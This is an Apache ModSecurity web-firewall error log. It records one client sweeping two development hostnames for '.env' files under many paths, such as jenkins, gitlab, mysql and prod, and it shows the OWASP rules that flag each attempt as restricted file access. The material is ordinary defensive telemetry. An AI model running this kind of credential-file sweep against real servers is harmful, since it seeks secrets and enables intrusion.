[Fri Jul 17 09:14:34.394984 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/jenkins/.env"] [unique_id "almlIkgVnBK6wAv37w6vtgAAABQ"]
[Fri Jul 17 09:14:34.395259 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlIkgVnBK6wAv37w6vtgAAABQ"]
[Fri Jul 17 09:14:34.530548 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /www/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/www/.env"] [unique_id "almlIrEWOaI5pmYo9fnR3wAAAAA"]
[Fri Jul 17 09:14:34.531719 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/www/.env"] [unique_id "almlIrEWOaI5pmYo9fnR3wAAAAA"]
[Fri Jul 17 09:14:34.558441 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:34.562973 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /gitlab/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/gitlab/.env"] [unique_id "almlIl1_86A5R6msWNfXegAAABI"]
[Fri Jul 17 09:14:34.563266 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/gitlab/.env"] [unique_id "almlIl1_86A5R6msWNfXegAAABI"]
[Fri Jul 17 09:14:34.563519 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlIl1_86A5R6msWNfXegAAABI"]
[Fri Jul 17 09:14:34.736373 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /github/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/github/.env"] [unique_id "almlIpBVIrrUwtEhdafUFQAAAAU"]
[Fri Jul 17 09:14:34.736779 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/github/.env"] [unique_id "almlIpBVIrrUwtEhdafUFQAAAAU"]
[Fri Jul 17 09:14:34.737176 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlIpBVIrrUwtEhdafUFQAAAAU"]
[Fri Jul 17 09:14:34.748479 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlIrEWOaI5pmYo9fnR3wAAAAA"]
[Fri Jul 17 09:14:34.905079 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /actions/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/actions/.env"] [unique_id "almlIkgVnBK6wAv37w6vtwAAABQ"]
[Fri Jul 17 09:14:34.905382 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/actions/.env"] [unique_id "almlIkgVnBK6wAv37w6vtwAAABQ"]
[Fri Jul 17 09:14:34.905746 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlIkgVnBK6wAv37w6vtwAAABQ"]
[Fri Jul 17 09:14:34.916980 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/html/.env"] [unique_id "almlIiRF0UOO1RzB5_8xUAAAAA4"]
[Fri Jul 17 09:14:34.918146 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/html/.env"] [unique_id "almlIiRF0UOO1RzB5_8xUAAAAA4"]
[Fri Jul 17 09:14:35.073919 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /circleci/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/circleci/.env"] [unique_id "almlI1h1WDijTxd1xw5PfAAAAAc"]
[Fri Jul 17 09:14:35.074181 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/circleci/.env"] [unique_id "almlI1h1WDijTxd1xw5PfAAAAAc"]
[Fri Jul 17 09:14:35.074424 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlI1h1WDijTxd1xw5PfAAAAAc"]
[Fri Jul 17 09:14:35.146490 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlIiRF0UOO1RzB5_8xUAAAAA4"]
[Fri Jul 17 09:14:35.242759 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /travis/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/travis/.env"] [unique_id "almlIxHlOGcokz2QIwTWawAAAAM"]
[Fri Jul 17 09:14:35.242997 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/travis/.env"] [unique_id "almlIxHlOGcokz2QIwTWawAAAAM"]
[Fri Jul 17 09:14:35.243246 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlIxHlOGcokz2QIwTWawAAAAM"]
[Fri Jul 17 09:14:35.317129 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /live/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/live/.env"] [unique_id "almlI7EWOaI5pmYo9fnR4AAAAAA"]
[Fri Jul 17 09:14:35.329458 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/live/.env"] [unique_id "almlI7EWOaI5pmYo9fnR4AAAAAA"]
[Fri Jul 17 09:14:35.412678 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /buildkite/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/buildkite/.env"] [unique_id "almlI0gVnBK6wAv37w6vuAAAABQ"]
[Fri Jul 17 09:14:35.412947 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/buildkite/.env"] [unique_id "almlI0gVnBK6wAv37w6vuAAAABQ"]
[Fri Jul 17 09:14:35.413229 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlI0gVnBK6wAv37w6vuAAAABQ"]
[Fri Jul 17 09:14:35.520349 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlI7EWOaI5pmYo9fnR4AAAAAA"]
[Fri Jul 17 09:14:35.579873 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /mysql/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/mysql/.env"] [unique_id "almlI614q1EBnanVMYGnDgAAAAk"]
[Fri Jul 17 09:14:35.580140 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/mysql/.env"] [unique_id "almlI614q1EBnanVMYGnDgAAAAk"]
[Fri Jul 17 09:14:35.580389 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlI614q1EBnanVMYGnDgAAAAk"]
[Fri Jul 17 09:14:35.698301 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prod/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/prod/.env"] [unique_id "almlI7oj0IkvhSCYadmE0gAAAAQ"]
[Fri Jul 17 09:14:35.699636 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/prod/.env"] [unique_id "almlI7oj0IkvhSCYadmE0gAAAAQ"]
[Fri Jul 17 09:14:35.748731 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /postgres/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/postgres/.env"] [unique_id "almlIxHlOGcokz2QIwTWbAAAAAM"]
[Fri Jul 17 09:14:35.749063 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/postgres/.env"] [unique_id "almlIxHlOGcokz2QIwTWbAAAAAM"]
[Fri Jul 17 09:14:35.749352 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlIxHlOGcokz2QIwTWbAAAAAM"]
[Fri Jul 17 09:14:35.879363 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlI7oj0IkvhSCYadmE0gAAAAQ"]
[Fri Jul 17 09:14:35.916292 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /mongodb/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/mongodb/.env"] [unique_id "almlIw5GPQ6hs4VrfMpE_gAAAAY"]
